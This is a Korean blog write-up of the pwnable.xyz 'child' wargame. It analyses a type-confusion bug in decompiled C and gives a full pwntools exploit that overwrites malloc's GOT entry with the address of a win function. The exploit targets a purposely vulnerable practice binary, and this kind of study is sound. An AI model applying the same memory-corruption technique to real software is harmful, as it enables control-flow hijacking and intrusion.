블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] child
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] child

728x90

 

1. 문제


1) mitigation 확인 

PIE와 RELRO가 안걸려있다. got overwrite가 가능하다 

 

 

2) 문제 확인 

머라고 6개나 메뉴가 나온다. 분석결과, 1번 메뉴로 성인의 나이, 이름, 직업을 입력할 수 있으며, 2번으로는 아이의 나이, 이름, 직업을 입력할 수 있다. 3번으로 나이를 증가시킬수 있고 5번으로 사람의 이름, 직업을 변경할 수 있다. 6번으로는 입력한 성인 혹은 아이의 정보를 지운게 된다. 

 

 

3) 코드 확인 

1,2번 메뉴는 위 구조체에 맞게 만들어진다. 두 구조체의 차이점은 나이와 직업이 위치하는 곳이 다르다. 아이는 최대 18살까지 가능하다. 그 이상의 나이를 2번 메뉴로 만들라고 하면 종료된다. 

 

 

  • transform_person()
int transform_person()
{
  unsigned int index; // eax
  __int64 peson; // rbx
  __int64 check; // rax

  __printf_chk(1LL, "Person: ");
  index = read_int32();
  if ( index > 0xA )
  {
    LODWORD(check) = puts("Outside of town.");
  }
  else
  {
    peson = town[index];
    if ( peson )
    {
      check = *(_QWORD *)(peson + 8);
      if ( check == 1 )
      {
        __printf_chk(1LL, "Name: ");
        read(0, *(void **)peson, 0x10uLL);
        __printf_chk(1LL, "Job: ");
        read(0, *(void **)(peson + 0x10), 0x20uLL);
        check = (*(_QWORD *)(peson + 0x18) > 0x11uLL) + 1LL;
        *(_QWORD *)(peson + 8) = check;
      }
      else if ( check == 2 )
      {
        __printf_chk(1LL, "Name: ");
        read(0, *(void **)peson, 0x10uLL);
        __printf_chk(1LL, "Job: ");
        read(0, *(void **)(peson + 0x18), 0x20uLL);
        check = ((unsigned __int64)(*(_QWORD *)(peson + 0x10) - 19LL) <= 0x3D) + 1LL;
        *(_QWORD *)(peson + 8) = check;
      }
    }
    else
    {
      LODWORD(check) = puts("Does not exist. Probably abducted by aliens.");
    }
  }
  return check;
}

아이 및 어른 정보는 bss영역에 위치해 있는 town 배열에 저장된다. check 값을 확인하여 1이면 아이, 2이면 어른의 로직이 수행된다. 여기서 만약 아이의 나이가 18이라면 ' > 0x11 ' 조건문은 참이 되어 check에 1+1 의 값이 들어간다. 따라서 다음 5번 메뉴 입력시 아이의 구조체 형태로 어른 정보 수정 로직이 수행된다. 이게 관건이다. 

 

즉, 아이의 구조체 형태로 어른 정보 수정 로직이 수행되면, 직업입력하는 위치가 현재 아이의의 나이가 들어가 있는 위치가 된다. 

 

 

  • age_up() 함수
    int age_up()
    {
      unsigned int v0; // eax
      _QWORD *person; // rax
      __int64 check; // rdx
    
      __printf_chk(1LL, "Person: ");
      v0 = read_int32();
      if ( v0 > 0xA )
      {
        LODWORD(person) = puts("Outside of town.");
      }
      else
      {
        person = (_QWORD *)town[v0];
        if ( person )
        {
          check = person[1];
          if ( check == 1 )
          {
            ++person[3];
          }
          else if ( check == 2 )
          {
            ++person[2];
          }
        }
        else
        {
          LODWORD(person) = puts("Does not exist. Probably abducted by aliens.");
        }
      }
      return (int)person;
    }

    위 함수는 나이를 증가시키는 함수이다. 만약 아까 5번 메뉴로 아이의 check를 2로 변경하게 된다면, 위 함수 수행시, 아이의 직업을 입력하는 주소가 +1 이 된다.  

 

 

2. 접근방법


아이의 나이를 18, 어른 주소, 이렇게 2개 만들고 5번 메뉴로 아이 구조체의 check값을 2로 만든다. 그다음 age_up 함수를 이용해서 아이의 직업을 가리키는 주소를 증가시켜 어른 구조체의 이름이 담긴 주소로 만든다. 

 

그다음 다시 5번 메뉴로 check를 1로 만들어 job 입력을 하게 된다면, 방금 변경시킨 어른 구조체가 가리키는 값을 got 주소로 박을수 있고, 5번 메뉴를 다시 선택하여 어른의 이름을 입력하게 된다면, 방금 got로 변경했기 떄문에 got에 값을 쓸 수가 있다. 

 

여기서 알아둬야 하는게, 아이의 check를 2로 바꾼다면 job 입력시 아이의 나이에다가 read를 하게 된다. 따라서 정상적인 위치에 read가 진행되지 않으므로 -1을 반환하면서 입력했던 값은 어딘가에 그대로 저장된다. 

 

따라서 다음 read시, 해당 버퍼 영역에 값이 존재하기 떄문에 그 값을 입력으로 바로 진행된다. 따라서 5번 메뉴를 다시 선택할시, 현재 check에 1이 들어가 있으므로, job 에 입력할시 다음 메인 메뉴를 입력해줘야한다. 즉 job에 '5'를 입력해야한다. 

 

시나리오는 다음과 같다 

  1. 아이의 나이 18, 어른 이렇게 2개 생성
  1. 5번 메뉴로 아이 값 변경 → check가 2로 바뀜
  1. age_up으로 아이를 선택하여 job 부분을 증가시킴 → 어른의 이름을 가리키는 주소가 될떄까지
  1. 다시 5번 메뉴 선택
    • 이름은 아무거나 입력
    • job 입력시 현재 check가 2이므로 어른 로직이 수행됨에 따라, 아이의 나이를 rsi로 가져감
    • 따라서 5를 입력해야함
  1. 버퍼에 5가 남으므로 저절로 메뉴 5번이 선택됨
    • 아이를 선택
    • 이름은 아무거나 입력
    • 직업 입력시, 현재 아까 어른의 이름을 가리키는 주소로 직업의 주소를 바꿧으므로, 여기에 malloc got를 넣음
  1. 다시 5번 메뉴 선택
    • 어른 선택
    • 이름 입력시 win함수 주소 입력 → 왜냐하면 현재 got주소를 넣어놨기 때문에 got에다가 값을 쓰는 거임

 

참고로 아가 버퍼에 5가 들어가 있다고 했는데, 이는 입력버퍼가 아니다. setvbuf로 stdin, stdout을 둘다 type=2로 만들었기 때문에, 입출력버퍼는 따로 사용하지 않는다.  

read함수는 저수준 언어이기 떄문에 fd=0으로 입력을 받고, 여기서 사용하는 버퍼는 

 

여기에 위히한다. 6686은 문제 바이너리 pid 값이다. 정상적이라면, p.sendline 하면 바로 값을 보내야하지만, 아까 job 입력시 read가 실패하므로 저 버퍼에 5가 그대로 들어가게 된다. 따라서 다음 read 입력시 저 5가 그대로 들어가는 것이다. 

 

 

3. 풀이


최종 익스코드는 다음과 같다 

from pwn import *
context(log_level="DEBUG")
#p=remote("svc.pwnable.xyz",30038)
p=process("./challenge")
#gdb.attach(p,'code\nb *0xEFF+$code\n')

p.sendlineafter("> ","2")
p.sendlineafter("Age: ","18")
p.sendlineafter("Name: ","AA")
p.sendlineafter("Job: ","BB")

p.sendlineafter("> ","1")
p.sendlineafter("Age: ","50")
p.sendlineafter("Name: ","AA")
p.sendlineafter("Job: ","BB")

p.sendlineafter("> ","5")
p.sendlineafter("Person: ","0")
p.sendlineafter("Name: ","AA")
p.sendlineafter("Job: ","BB")
#602058

for i in range(0,0x30):
	p.sendlineafter("> ","3")
	p.sendlineafter("Person: ","0")
gdb.attach(p,'code\nb *0xEFF+$code\n')
pause()
#p.sendlineafter("> ","3")
#p.sendlineafter("Person: ","4")

p.sendlineafter("> ","5")
p.sendlineafter("Person: ","0")
p.sendafter("Name: ","AA")
p.sendafter("Job: ","5")

sleep(100)

p.sendlineafter("Person: ","0")
p.sendafter("Name: ","BB")
p.sendafter("Job: ",p64(0x602058))

p.sendlineafter("> ","5")
p.sendlineafter("Person: ","1")
p.sendafter("Name: ",p64(0x4009B3))
p.sendafter("Job: ","BB")

p.sendlineafter("> ","1")
p.sendlineafter("Age: ","50")

p.interactive()

 

 

 

4. 몰랐던 개념


  • read의 버퍼 !!
  • cat /proc/pid/fd/0 여기가 read의 버퍼라고 보면 될듯?
728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] world  (0) 2020.05.22
[pwnable.xyz] door  (0) 2020.05.20
[pwnable.xyz] Car shop  (0) 2020.05.18
[pwnable.xyz] words  (0) 2020.05.18
[pwnable.xyz] notebook  (0) 2020.05.17